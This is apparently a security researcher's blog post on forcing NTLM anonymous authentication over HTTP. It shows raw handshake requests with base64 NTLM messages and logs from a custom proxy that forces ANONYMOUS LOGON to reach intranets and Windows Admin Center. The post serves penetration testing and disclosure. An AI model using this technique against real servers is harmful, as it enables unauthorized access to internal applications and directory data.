Exploring the so called NTLM ANONYMOUS_LOGON user through HTTP endpoints.
Through the years NTLM authentication has been used in various protocols as a convenient way to authenticate on a Windows network :
- SMB usually for file sharing
- NNS an “authenticated” TCP stack for .NET applications
The NTLM authentication usually takes place in 3 steps :
CLIENT Sends a negotiation message --------------------> SERVER CLIENT <-------------------- A challenge is given by the SERVER CLIENT Sends a challenge response (creds) -------------> SERVER
NTLM versions (1/2) and various negotiation flags will determine how the authentication is “encrypted” between the server and the client.
Btw http://davenport.sourceforge.net/ntlm.html is a must-read if you’re getting started with this protocol !
NTLM over HTTP
In this article, we’ll turn our attention to its usage in the HTTP protocol.
If you ever accessed your company’s intranet after logging in with your workstation without being asked for credentials, chances are NTLM was used in the background to authenticate to the remote webserver.
NTLM being a connection oriented protocol, HTTP keep-alive is used to keep the user authenticated through the same connection.
Negotiation over HTTP
Let’s look at how the protocol is actually working over the wire :
The client sends :
GET / HTTP/1.1 Host: 192.168.0.41:8080
The reply from the server indicates a
401 Unauthorized but lets us know that NTLM authentication is available
WWW-Authenticate header :
HTTP/1.1 401 Unauthorized Date: Sat, 04 Jun 2022 02:19:43 GMT WWW-Authenticate: NTLM Content-Length: 381 Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>401 Unauthorized</title> </head><body> <h1>Unauthorized</h1> <p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p> </body></html>
The client will then initiate a negotiation, over the same connection, using the
Authorization header with the
The base64 encoded string is a Type 1 message letting the server know the client’s capabilities :
GET / HTTP/1.1 Host: 192.168.0.41:8080 Authorization: NTLM TlRMTVNTUAABAAAAMYCI4AAAAAAoAAAAAAAAACgAAAAAAAAAAAAAAA==
Server challenge over HTTP
The server still replies with a
401 Unauthorized but this time provides a Type 2 message in the
HTTP/1.1 401 Unauthorized Date: Sat, 04 Jun 2022 02:19:43 GMT Server: Apache WWW-Authenticate: NTLM TlRMTVNTUAACAAAADAAMADgAAAA1gonilM550+1I+dYAAAAAAAAAAJIAkgBEAAAACgA5OAAAAA9EAE8ATQBBAEkATgACAAwARABPAE0AQQBJAE4AAQAMAEEAUABQAFMAMQA1AAQAGABkAG8AbQBhAGkAbgAuAGwAbwBjAGEAbAADACYAQQBQAFAAUwAxADUALgBkAG8AbQBhAGkAbgAuAGwAbwBjAGEAbAAFABgAZABvAG0AYQBpAG4ALgBsAG8AYwBhAGwABwAIAKFXn425d9gBAAAAAA== Content-Length: 381 Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>401 Unauthorized</title> </head><body> <h1>Unauthorized</h1> <p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p> </body></html>
This header provides multiple information about the remote server, including it’s operating system, DNS names, and which Domain it belongs to.
Internal Information Disclosure using Hidden NTLM Authentication is a great read an often used by bug-hunters to find and disclose information about their target.
At this point, all HTTP clients gives you the choice to input a username and password, however, none of them are mentionning another connection method.
Now let’s think about this for a second :
- We know SMB can use NTLM
- We know SMB has an “Anonymous” feature
Challenge response and auth over HTTP
Reading carefully Microsoft documentation about NTLM reveals an interesting bit of information that’s usually NOT implemented by NTLM clients :
Using Golang as a framework, we were able to implement the missing feature in an already existing NTLM library :
Kudos to @Bodgit for creating such a clean library !
Creating a client supporting Anonymous authentication
While modifying a browser for this particular case could be interesting, we instead decided to write a proxy handling the anonymous authentication workflow over HTTP :
$ ./NTLMAnonProxy-linux-amd64 127.0.0.1 9999 2022/06/04 04:18:06 Starting NTLM HTTP proxy on 127.0.0.1:9999 2022/06/04 04:18:41 http://192.168.0.41:8080/ : Intercepted request 2022/06/04 04:18:41 http://192.168.0.41:8080/ : Proposing NTLM, forcing ANONYMOUS auth 2022/06/04 04:18:41 http://192.168.0.41:8080/ : Received NTLM challenge 2022/06/04 04:18:41 http://192.168.0.41:8080/ : Sent NTLM AUTH
Checking the results
We know continue our request process over the same connection, and instead of providing a username and password, we implement the anonymous authentication.
This has the effect of requesting Windows to authenticate as
ANONYMOUS LOGON/NT AUTHORITY.
GET / HTTP/1.1 Host: 192.168.0.41:8080 Authorization: NTLM TlRMTVNTUAADAAAAAQABAEgAAAAAAAAASQAAAAAAAABIAAAAAAAAAEgAAAAAAAAASAAAABAAEABJAAAANYKJ4AAAAAAAAAAAAEkIUrOKi10Sk8ki/EV6PpA=
What will happen next depends on the application using NTLM as authentication source.
If the application is configured to accept any login,
ANONYMOUS LOGON/NT AUTHORITY will be considered as valid
authentication and various privileges can be granted to the end-user :
HTTP/1.1 200 OK Date: Sat, 04 Jun 2022 02:19:43 GMT X-UA-Compatible: IE=edge Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: deny Content-Length: 6901 Content-Type: text/html; charset=ISO-8859-1
And in this case we are indeed allowed access to the application (an intranet) as
ANONYMOUS LOGON/NT AUTHORITY.
Various software are actually affected by this flaw.
One of the surprise we found was the Windows Admin Center, a piece of software used to administer Domains and cluster of the web :
As it can be seen here, requests to Active Directory can be made, and all kinds of information can be retrieved through the API :
While we did notice some Powershell endpoints exposed, however Windows UAC acts as a last protection and requests a confirmation on the local machine.
This flaw we rediscovered was in fact what we believe to be
CVE-2021-27066 has been fixed with a
403 page after
Plenty of servers are still online with a older versions, and pen-testing your next LAN should definitely include this technique !
Here we explored HTTP as we couldn’t find any client allowing for such authentication and suspected it would yield results.
We will continue exploring other protocols for the same mis-configuration !